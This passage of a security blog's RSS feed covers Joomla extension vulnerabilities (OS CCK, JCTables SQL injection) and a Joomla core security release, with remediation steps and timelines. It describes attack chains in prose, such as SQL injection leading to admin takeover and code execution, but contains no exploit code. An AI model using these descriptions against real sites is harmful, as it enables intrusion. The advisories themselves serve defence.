&lt;li&gt;Search the &lt;code&gt;images&lt;/code&gt; folder, and especially any &lt;code&gt;images/com_os_cck*/original/&lt;/code&gt; folders, for &lt;code&gt;.php&lt;/code&gt;, &lt;code&gt;.phtml&lt;/code&gt; or &lt;code&gt;.phar&lt;/code&gt; files. Nothing in a Joomla images folder should be code. If you find one, treat the site as compromised and work through our &lt;a href=&quot;https://mysites.guru/joomla-hacked/&quot;&gt;Joomla hacked-site guide&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Treat the database as potentially read on any site that sat on an affected version: check the Super User and Administrator groups for accounts your team did not create, reset Super User passwords, and rotate the Joomla secret and any API keys or mail credentials stored on the site.&lt;/li&gt;
&lt;/ol&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;h2&gt;&lt;a href=&quot;https://mysites.guru/free-audit/?check=joomla/hacked/rogueadmins&quot;&gt;Find Super User accounts you did not create&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;mySites.guru checks every connected site for this automatically and flags it the moment it appears. It runs as part of the full audit on every connected site.&lt;/p&gt;&lt;/div&gt;&lt;div&gt;&lt;a href=&quot;https://mysites.guru/free-audit/?check=joomla/hacked/rogueadmins&quot;&gt;Check your site for free&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;If a site is already showing signs of a break-in and you would rather hand it over, &lt;a href=&quot;https://fix.mysites.guru/&quot;&gt;we can fix it for you&lt;/a&gt;. If you manage Joomla sites for clients, the &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free audit&lt;/a&gt; shows what mySites.guru finds on your own sites first, and a &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;subscription&lt;/a&gt; keeps every connected site checked against flaws like these the day they are published, whether or not the vendor’s updater is working.&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;2026-09-20&lt;/strong&gt; The OrdaSoft wave starts with OS Gallery The Joomla CNA publishes four CVEs against OrdaSoft&apos;s OS Gallery, including an unauthenticated SQL injection, all fixed in 6.2.7 with no vendor advisory.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-09-28&lt;/strong&gt; Three more OrdaSoft extensions get six CVEs Real Estate Manager, Vehicle Manager and Book Library each get an unauthenticated SQL injection in their listing sort order, plus a reflected XSS. Same finder, same class of flaw.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-09-29&lt;/strong&gt; OrdaSoft releases OS CCK 8.3.16 The 8.3.16 Light package restores the upload handler&apos;s file-extension allow-list and rewrites the listing sort handling to validate the sort column. There is no advisory.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-09-30&lt;/strong&gt; The Joomla CNA publishes CVE-2026-102427 The record covers the upload flaw, scores it CVSS 4.0 10.0 Critical and credits Ala Arfaoui. OrdaSoft&apos;s update stream still advertises 8.3.14, and mySites.guru flags every connected site running OS CCK below 8.3.16.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-10-05&lt;/strong&gt; The SQL injection gets CVE-2026-102428 The Joomla CNA publishes a second OS CCK record for the no-login sort-order SQL injection, CVSS 4.0 9.3 Critical, versions 1.0.0 to 8.3.15. Both flaws are fixed in 8.3.16.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-102427/&quot;&gt;CVE-2026-102427 on mySites.guru&lt;/a&gt; - the record, the affected range and the CVSS breakdown.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/ordasoft-joomla-extensions-sql-injection/&quot;&gt;Three OrdaSoft Joomla extensions have unauthenticated SQL injections in their sort order&lt;/a&gt; - the six-CVE batch the OS CCK SQL injection fix belongs to.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/os-gallery-sql-injection-rce-disclosure/&quot;&gt;OS Gallery 6.2.7 fixes an unauthenticated SQL injection and two authenticated RCEs&lt;/a&gt; - where the OrdaSoft wave started.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cheatsheetseries.owasp.org/cheatsheets/File_Upload_Cheat_Sheet.html&quot;&gt;OWASP File Upload Cheat Sheet&lt;/a&gt; - why an extension allow-list and a content check are two separate controls, and you need both.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html&quot;&gt;OWASP SQL Injection Prevention Cheat Sheet&lt;/a&gt; - see its section on allow-list validation for table and column names.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://ordasoft.com/joomla-cck&quot;&gt;OrdaSoft OS CCK product page&lt;/a&gt; - where the 8.3.16 download lives.&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>joomla</category><category>vulnerability</category><category>rce</category><category>sql-injection</category><enclosure url="https://mysites.guru/img/og/blog/ordasoft-os-cck-sql-injection.png" length="0" type="image/png"/></item><item><title>JCTables for Joomla: Unauthenticated SQL Injection Fixed in 1.21.1</title><link>https://mysites.guru/blog/jctables-joomla-sql-injection/</link><guid isPermaLink="true">https://mysites.guru/blog/jctables-joomla-sql-injection/</guid><description>CVE-2026-76570 lets anyone read and rewrite a Joomla database through the JCTables extension without logging in. Scored 10.0 Critical, fixed in 1.21.1.</description><pubDate>Wed, 30 Sep 2026 15:23:29 GMT</pubDate><content:encoded>&lt;h2&gt;TL;DR&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-76570/&quot;&gt;CVE-2026-76570&lt;/a&gt; is an unauthenticated SQL injection in &lt;a href=&quot;https://joomcode.com/index.php/download/category/4-jc-tables&quot;&gt;JCTables&lt;/a&gt;, JoomCode’s datatables component for Joomla. The Joomla CNA published it on 30 September 2026 and scored it 10.0 Critical, the top of the scale. Every version before 1.21.1 is affected, and the fix is 1.21.1.&lt;/p&gt;
&lt;p&gt;No login is needed, and the injection works in write queries as well as reads, so an anonymous visitor can change rows in the database as well as copy them. &lt;a href=&quot;https://www.vulncheck.com/blog/jctables-unauthenticated-sql-rw-to-rce&quot;&gt;VulnCheck’s write-up&lt;/a&gt; takes that as far as running code on the server. Update to 1.21.1.&lt;/p&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;10.0&lt;/span&gt;&lt;span&gt;CVSS 4.0&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-76570/&quot;&gt;CVE-2026-76570&lt;/a&gt;Unauthenticated SQL injection in read and write queries&lt;/p&gt;&lt;p&gt;&lt;span&gt;Critical&lt;/span&gt;&lt;span&gt;Joomla CNA&lt;/span&gt;&lt;/p&gt;&lt;p&gt;Any visitor can read any table in the Joomla database and change any row, which is enough to take over an administrator account.&lt;/p&gt;&lt;div&gt;&lt;code&gt;CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:A/AU:Y&lt;/code&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;No login needed&lt;/span&gt;&lt;span&gt;Read and write&lt;/span&gt;&lt;span&gt;All versions before 1.21.1&lt;/span&gt;&lt;/div&gt;What does this mean?&lt;div&gt;&lt;p&gt;CVSS 4.0 scores how severe a flaw is, from 0 (no impact) to 10 (critical). Each pair of letters in the string above is one metric; here is what this one&apos;s says.&lt;/p&gt;&lt;div&gt;&lt;p&gt;How it is reached&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;AV:N&lt;/dt&gt;&lt;dd&gt;Network: Reachable across the internet&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AC:L&lt;/dt&gt;&lt;dd&gt;Low: Nothing to work around, it just works&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AT:N&lt;/dt&gt;&lt;dd&gt;None: Works against any affected install&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;PR:N&lt;/dt&gt;&lt;dd&gt;None: No account needed&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;UI:N&lt;/dt&gt;&lt;dd&gt;None: Nobody has to be tricked into anything&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does to the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;VC:H&lt;/dt&gt;&lt;dd&gt;High: Everything the site holds can be read&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VI:H&lt;/dt&gt;&lt;dd&gt;High: Data and files can be altered at will&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VA:H&lt;/dt&gt;&lt;dd&gt;High: The site can be taken down&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does beyond the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;SC:H&lt;/dt&gt;&lt;dd&gt;High: Data on other systems can be read&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SI:H&lt;/dt&gt;&lt;dd&gt;High: Other systems can be altered&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SA:H&lt;/dt&gt;&lt;dd&gt;High: Other systems can be taken down&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;What went wrong in the JCTables front-end controller&lt;/h2&gt;
&lt;p&gt;JCTables lets a site show database tables to visitors and, if the site owner allows it, lets them edit cells inline. That editing runs through a front-end controller reached at &lt;code&gt;index.php?option=com_jctables&amp;amp;task=...&lt;/code&gt;. Before 1.21.1, that controller checked neither who the visitor was nor Joomla’s form token, on any of its tasks. The CVE record describes it as a “CRUD API controller” that “performs no Joomla token validation and no authentication check on any task.”&lt;/p&gt;
&lt;p&gt;The queries behind those tasks made it worse. According to &lt;a href=&quot;https://www.vulncheck.com/blog/jctables-unauthenticated-sql-rw-to-rce&quot;&gt;VulnCheck’s analysis&lt;/a&gt;, the tasks that update cells, delete rows, insert and update records, save forms and fetch rows took table names, column names and values straight from the request. And the helper meant to escape those values, &lt;code&gt;ladb_escape()&lt;/code&gt;, returned anything already wrapped in quote marks unchanged, on the theory that it must be escaped already.&lt;/p&gt;
&lt;div&gt;&lt;div&gt;A malicious actor could extract your whole database: usernames, emails, password hashes, session IDs, shopping orders, invoices, and everything else it holds. Gulp.&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;The write half is what earns the 10.0. A read-only SQL injection gives an attacker a copy of your data. This one also lets them change it, including the administrator account’s password hash. VulnCheck showed the full chain in a lab: rewrite an administrator’s credentials, log in to the back end, install an extension, and run code as the web server.&lt;/p&gt;
&lt;div&gt;&lt;div&gt;A malicious actor&apos;s own code runs on your server, with the same access as the website itself: reading, changing or deleting any file it can touch, planting a backdoor that survives the next update, installing malware, pulling every database credential and API key from your configuration, and using your server to attack other people. Gulp.&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;That last step needs the Joomla administrator login page to be reachable, which it is on most sites. Changing the database needs no login at all.&lt;/p&gt;
&lt;h2&gt;What changed in JCTables 1.21.1&lt;/h2&gt;
&lt;p&gt;VulnCheck lists what JoomCode changed:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Each write task now checks Joomla’s form token with &lt;code&gt;Session::checkToken()&lt;/code&gt;, so the component rejects a request that did not come from the site’s own form.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ladb_escape()&lt;/code&gt; now quotes the value through the database driver instead of trusting input that arrives already quoted. That is the pattern OWASP recommends: escape or bind each value instead of guessing which ones are already safe.&lt;/li&gt;
&lt;li&gt;Row reads are limited to tables the administrator has configured, instead of whatever table the request names.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;JoomCode shipped the fix eight days after the report: VulnCheck reported it on 28 July 2026 and 1.21.1 was released on 5 August. That is a fast turnaround by any vendor’s standard.&lt;/p&gt;
&lt;h2&gt;The JCTables fix was out for eight weeks before the CVE&lt;/h2&gt;
&lt;p&gt;The CVE arrived on 30 September, eight weeks after 1.21.1. For most site owners the CVE is the signal, because it is what scanners, alerts and news feeds pick up. So the eight weeks in between were a window in which the fix existed and few site owners had a reason to install it.&lt;/p&gt;
&lt;p&gt;Our data shows how that played out. &lt;strong&gt;On the day the CVE was published, roughly seven in eight JCTables installs across the Joomla sites we monitor were still on an affected version.&lt;/strong&gt; Only about one in eight had moved to 1.21.1. Of the affected installs, more than two in three are on the older 1.10.x builds, not the 1.20.0 release just before the fix.&lt;/p&gt;
&lt;p&gt;We see this pattern with most extension disclosures. The same thing happened with &lt;a href=&quot;https://mysites.guru/blog/youtube-gallery-joomla-sql-injection/&quot;&gt;YouTube Gallery&lt;/a&gt; on 26 September 2026, where the fix sat in a public repository for two months before its CVE. When an extension update ships, the safest assumption is that it might be a security fix, whether or not anyone has said so yet.&lt;/p&gt;
&lt;h2&gt;Is my Joomla site affected by &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-76570/&quot;&gt;CVE-2026-76570&lt;/a&gt;?&lt;/h2&gt;
&lt;p&gt;If a Joomla site has JCTables installed at any version below 1.21.1, yes. That covers the 1.20.0 release, every 1.10.x build, and anything older. In Joomla it appears as “JCTables” or “JC Tables”, with the element &lt;code&gt;com_jctables&lt;/code&gt; and the author JoomCode.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;A rarely used extension&lt;/p&gt;&lt;div&gt;&lt;p&gt;JCTables is a niche component. Only a handful of the Joomla sites connected to mySites.guru have it installed, so most site owners reading this will not be affected. If yours is one of them, the steps below still apply today.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;The flaw is in the component. JoomCode also ships a “Content - JCTables” plugin that embeds tables in articles; the CVE does not name it, and the fix is in the component package. JoomCode’s free download is &lt;a href=&quot;https://joomcode.com/index.php/download/category/4-jc-tables&quot;&gt;com_jctables_1.21.1_free.zip&lt;/a&gt;. Pro subscribers get their package from the same page after logging in.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;Pro users: check the version number after updating&lt;/p&gt;&lt;div&gt;&lt;p&gt;The CVE and VulnCheck’s analysis describe the free edition, and the CNA’s affected range does not split the editions. Rather than assume the Pro build is different, check that the JCTables component on each site reads 1.21.1 or later after you update.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;What you should do right now&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Update JCTables to 1.21.1&lt;/strong&gt; on every Joomla site that has it, from &lt;a href=&quot;https://joomcode.com/index.php/download/category/4-jc-tables&quot;&gt;JoomCode’s download page&lt;/a&gt; or through Joomla’s updater.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Check the version afterwards.&lt;/strong&gt; In System, Manage, Extensions, the JCTables component should read 1.21.1.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;If you cannot update today,&lt;/strong&gt; disable the JCTables component until you can. That removes the vulnerable controller.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Assume the database may have been read or changed&lt;/strong&gt; if an affected version was live. Change every administrator password, and our guide to &lt;a href=&quot;https://mysites.guru/blog/how-to-check-joomla-database-security/&quot;&gt;checking Joomla database security&lt;/a&gt; covers what else to review.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Look for administrator accounts you did not create, or existing ones that changed.&lt;/strong&gt; This flaw can write to the users table, so a new or altered super user is the first thing to rule out. Our walkthrough on &lt;a href=&quot;https://mysites.guru/blog/find-rogue-admin-accounts-joomla/&quot;&gt;finding rogue admin accounts in Joomla&lt;/a&gt; shows what to look for.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;If the component is no longer used, uninstall it.&lt;/strong&gt; An extension no one uses still answers requests from anyone who finds it.&lt;/li&gt;
&lt;/ol&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;h2&gt;&lt;a href=&quot;https://mysites.guru/free-audit/?check=joomla/hacked/rogueadmins&quot;&gt;Find administrator accounts you never created&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;mySites.guru checks every connected site for this automatically and flags it the moment it appears. It runs as part of the full audit on every connected site.&lt;/p&gt;&lt;/div&gt;&lt;div&gt;&lt;a href=&quot;https://mysites.guru/free-audit/?check=joomla/hacked/rogueadmins&quot;&gt;Check your site for free&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;How mySites.guru finds every JCTables install&lt;/h2&gt;
&lt;p&gt;The hard part of any extension vulnerability is knowing which of your sites run it, and at what version. mySites.guru keeps a live inventory of the extensions on each connected Joomla site, so one search for JCTables lists the sites that have it installed and the version each one runs.&lt;/p&gt;
&lt;p&gt;We added &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-76570/&quot;&gt;CVE-2026-76570&lt;/a&gt; to our &lt;a href=&quot;https://mysites.guru/blog/vulnerable-extension-list-joomla-wordpress/&quot;&gt;vulnerability database&lt;/a&gt; on the day it was published, so every connected site below 1.21.1 is flagged on its dashboard now, without anyone having to go looking. The &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;mass updater&lt;/a&gt; then pushes the update to all of them from one screen. That is part of the &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;subscription&lt;/a&gt;, and it works the same way across a &lt;a href=&quot;https://mysites.guru/manage-multiple-joomla-sites/&quot;&gt;portfolio of Joomla sites&lt;/a&gt; of any size.&lt;/p&gt;
&lt;h2&gt;Why Joomla data-table extensions are a high-value target&lt;/h2&gt;
&lt;p&gt;A datatables component exists to put database rows on a web page, and JCTables goes further than most: its own listing promises master-detail tables, inline editing and connections to external databases. That is a component whose job is building queries from what the page asks for. When that path is open to anonymous visitors, the distance from “a page with a table on it” to “the whole database” is very short.&lt;/p&gt;
&lt;p&gt;It is the same class of problem we keep finding in &lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;front-end endpoints across Joomla extensions&lt;/a&gt;: code written on the assumption that only the extension’s own JavaScript will ever call it. An attacker does not use the extension’s JavaScript. They call the endpoint directly. Listing and table components keep turning up for this reason: the &lt;a href=&quot;https://mysites.guru/blog/ordasoft-joomla-extensions-sql-injection/&quot;&gt;three OrdaSoft extensions with SQL injections in their sort order&lt;/a&gt;, published on 28 September 2026, built part of their queries from the request in much the same way.&lt;/p&gt;
&lt;p&gt;If a site has already been hit, or you would rather someone else cleaned it up, &lt;a href=&quot;https://fix.mysites.guru/&quot;&gt;fix.mySites.guru&lt;/a&gt; patches the site, audits it for backdoors and returns it to you for a single fixed fee. Our &lt;a href=&quot;https://mysites.guru/joomla-hacked/&quot;&gt;Joomla hacked guide&lt;/a&gt; covers what to check yourself.&lt;/p&gt;
&lt;h2&gt;Disclosure and credit&lt;/h2&gt;
&lt;p&gt;We did not find this flaw, and it is one of a long run of &lt;a href=&quot;https://mysites.guru/blog/a-month-of-joomla-security-disclosures/&quot;&gt;Joomla extension security issues this year&lt;/a&gt;, several of them from &lt;a href=&quot;https://mysites.guru/blog/we-are-not-the-only-ones-auditing-joomla-extensions/&quot;&gt;researchers auditing the same extensions we are&lt;/a&gt;. The &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76570&quot;&gt;CVE record&lt;/a&gt; credits Valentin Lobstein (Chocapikk) as the finder, and &lt;a href=&quot;https://www.vulncheck.com/blog/jctables-unauthenticated-sql-rw-to-rce&quot;&gt;VulnCheck published the technical write-up&lt;/a&gt; the same day the Joomla CNA published the record, 30 September 2026. VulnCheck reports no evidence of exploitation in the wild, and the flaw is not on CISA’s Known Exploited Vulnerabilities list as of the date of this post. The fix is JCTables 1.21.1.&lt;/p&gt;&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.vulncheck.com/blog/jctables-unauthenticated-sql-rw-to-rce&quot;&gt;VulnCheck: JCTables unauthenticated SQL read/write to RCE&lt;/a&gt; - the finder&apos;s technical write-up, including what the fix changed.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76570&quot;&gt;CVE-2026-76570 on cve.org&lt;/a&gt; - the CNA record with the affected range and vector.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://joomcode.com/index.php/download/category/4-jc-tables&quot;&gt;JC Tables downloads at JoomCode&lt;/a&gt; - where the free 1.21.1 package lives.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cwe.mitre.org/data/definitions/89.html&quot;&gt;CWE-89: SQL Injection&lt;/a&gt; - the underlying weakness class.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html&quot;&gt;OWASP SQL Injection Prevention Cheat Sheet&lt;/a&gt; - why binding and quoting every value beats trusting input that already looks quoted.&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>joomla</category><category>jctables</category><category>joomcode</category><category>vulnerability</category><category>sql injection</category><category>extensions</category><enclosure url="https://mysites.guru/img/og/blog/jctables-joomla-sql-injection.png" length="0" type="image/png"/></item><item><title>Joomla 5.4.9 and 6.1.4 Fix 16 Security Issues, Two Rated High</title><link>https://mysites.guru/blog/joomla-5-4-9-and-6-1-4-security-release/</link><guid isPermaLink="true">https://mysites.guru/blog/joomla-5-4-9-and-6-1-4-security-release/</guid><description>Joomla 5.4.9 and 6.1.4 fix 16 core security issues, including cache directory deletion, SSRF, an MFA bypass and account creation with registration switched off.</description><pubDate>Tue, 29 Sep 2026 16:26:03 GMT</pubDate><content:encoded>&lt;p&gt;The Joomla project released &lt;a href=&quot;https://www.joomla.org/announcements/release-news/joomla-6-1-4-5-4-9-security-bugfix-release.html&quot;&gt;Joomla 5.4.9 and 6.1.4&lt;/a&gt; on 29 September 2026, and both fix the same sixteen core security issues, CVE-2026-90906 to CVE-2026-92232. Two are rated High by the Joomla Security Strike Team: a cache purge that can delete any directory the web server can write to, and server-side request forgery through URL fields in several core extensions. The rest are seven cross-site scripting fixes, six access control fixes and an MFA bypass through Remember Me cookies.&lt;/p&gt;
&lt;p&gt;The advisories give a title, a severity and a version range, and not much else. Who can actually reach each flaw decides the order you patch in far more than the severity label does, so we traced every fix back to its entry point. The two High issues both need a backend login. One of the Moderate ones needs nothing at all.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;What to do now&lt;/p&gt;&lt;div&gt;&lt;p&gt;Update Joomla 5 sites to 5.4.9 and Joomla 6 sites to 6.1.4. Joomla 4 sites must go to 4.4 before 5.4.9, and 5.x sites must be on 5.4 before 6.1.4. Five of these flaws reach back to Joomla 1.5 or 3.0, and Joomla 3 gets no fix from the Joomla project. The 6.2.0 betas did not have the fixes at release time.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;TL;DR&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;16 core fixes&lt;/strong&gt; in one release, all credited to outside researchers, none to us&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;High:&lt;/strong&gt; arbitrary directory deletion through System, Clear Cache (CVE-2026-90915) and SSRF through feed and request URLs (CVE-2026-92222). Both need a backend account&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Reachable anonymously on every site:&lt;/strong&gt; CVE-2026-90907 lets a visitor create a Guest account with registration switched off, back to Joomla 1.5&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;MFA bypass&lt;/strong&gt; (CVE-2026-92227) needs the password, then uses a Remember Me cookie to skip the second factor on later front-end logins&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Five issues reach Joomla 3&lt;/strong&gt;, where about one in four of the Joomla sites in the mySites.guru database still run&lt;/li&gt;
&lt;li&gt;The &lt;strong&gt;Template Manager bug&lt;/strong&gt; from 5.4.8 and 6.1.3 is fixed in this release too&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Known issue on 5.4.9:&lt;/strong&gt; editing items through the Joomla API fails with a fatal error. A one-line workaround is below, and 6.1.4 is not affected&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;All Sixteen Joomla Security Issues in One Table&lt;/h2&gt;
&lt;p&gt;The Joomla Security Centre published &lt;a href=&quot;https://developer.joomla.org/security-centre.html&quot;&gt;all sixteen advisories&lt;/a&gt; about an hour after the release. Every one is fixed in 5.4.9 and 6.1.4. The “Who can reach it” column is our reading of the code, not something the advisories state, and it assumes Joomla’s default permissions.&lt;/p&gt;













































































































































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;CVE&lt;/th&gt;&lt;th&gt;Severity&lt;/th&gt;&lt;th&gt;Issue&lt;/th&gt;&lt;th&gt;Affected from&lt;/th&gt;&lt;th&gt;Who can reach it&lt;/th&gt;&lt;th&gt;Reported by&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://developer.joomla.org/security-centre/1085-20260905-core-arbitrary-directory-deletion-via-cache-purge-action.html&quot;&gt;CVE-2026-90915&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;High&lt;/span&gt;&lt;/td&gt;&lt;td&gt;Arbitrary directory deletion via cache purge&lt;/td&gt;&lt;td&gt;4.0.0&lt;/td&gt;&lt;td&gt;Administrator&lt;/td&gt;&lt;td&gt;Aria Akhavan&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://developer.joomla.org/security-centre/1089-20260909-core-ssrf-vectors-in-various-core-extensions.html&quot;&gt;CVE-2026-92222&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;High&lt;/span&gt;&lt;/td&gt;&lt;td&gt;SSRF in several core extensions&lt;/td&gt;&lt;td&gt;3.0.0&lt;/td&gt;&lt;td&gt;Manager and up&lt;/td&gt;&lt;td&gt;Aria Akhavan&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://developer.joomla.org/security-centre/1082-20260902-core-unauthorized-user-account-creation-via-profile-save-controller.html&quot;&gt;CVE-2026-90907&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;Moderate&lt;/span&gt;&lt;/td&gt;&lt;td&gt;Account creation via profile.save&lt;/td&gt;&lt;td&gt;1.5.0&lt;/td&gt;&lt;td&gt;Anyone&lt;/td&gt;&lt;td&gt;Adithyan P&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://developer.joomla.org/security-centre/1094-20260914-core-mfa-authentication-bypass-through-rememberme-cookies.html&quot;&gt;CVE-2026-92227&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;Moderate&lt;/span&gt;&lt;/td&gt;&lt;td&gt;MFA bypass through Remember Me cookies&lt;/td&gt;&lt;td&gt;4.0.0&lt;/td&gt;&lt;td&gt;Password holder&lt;/td&gt;&lt;td&gt;Google and Ada Logics, Mukul Goyal&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://developer.joomla.org/security-centre/1087-20260907-core-improper-acl-checks-in-outputs-for-tagged-items.html&quot;&gt;CVE-2026-90917&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;Moderate&lt;/span&gt;&lt;/td&gt;&lt;td&gt;Tagged items shown from restricted categories&lt;/td&gt;&lt;td&gt;4.0.0&lt;/td&gt;&lt;td&gt;Anyone&lt;/td&gt;&lt;td&gt;Sabuhi Mammadov&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://developer.joomla.org/security-centre/1088-20260908-core-xss-in-html-mail-templates.html&quot;&gt;CVE-2026-90918&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;Moderate&lt;/span&gt;&lt;/td&gt;&lt;td&gt;XSS in HTML mail templates&lt;/td&gt;&lt;td&gt;4.0.0&lt;/td&gt;&lt;td&gt;Anyone, if HTML mail is on&lt;/td&gt;&lt;td&gt;Joe Grey&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://developer.joomla.org/security-centre/1095-20260915-core-xss-filter-bypass-in-inputfilter-via-html5-entity-decode-mismatch.html&quot;&gt;CVE-2026-92231&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;Moderate&lt;/span&gt;&lt;/td&gt;&lt;td&gt;InputFilter bypass via HTML5 entities&lt;/td&gt;&lt;td&gt;1.5.0&lt;/td&gt;&lt;td&gt;Filtered content authors&lt;/td&gt;&lt;td&gt;Netanel Stern&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://developer.joomla.org/security-centre/1096-20260916-core-xss-filter-bypass-in-inputfilter-via-whitespace-characters-in-html-data-uris.html&quot;&gt;CVE-2026-92232&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;Moderate&lt;/span&gt;&lt;/td&gt;&lt;td&gt;InputFilter bypass via whitespace in data 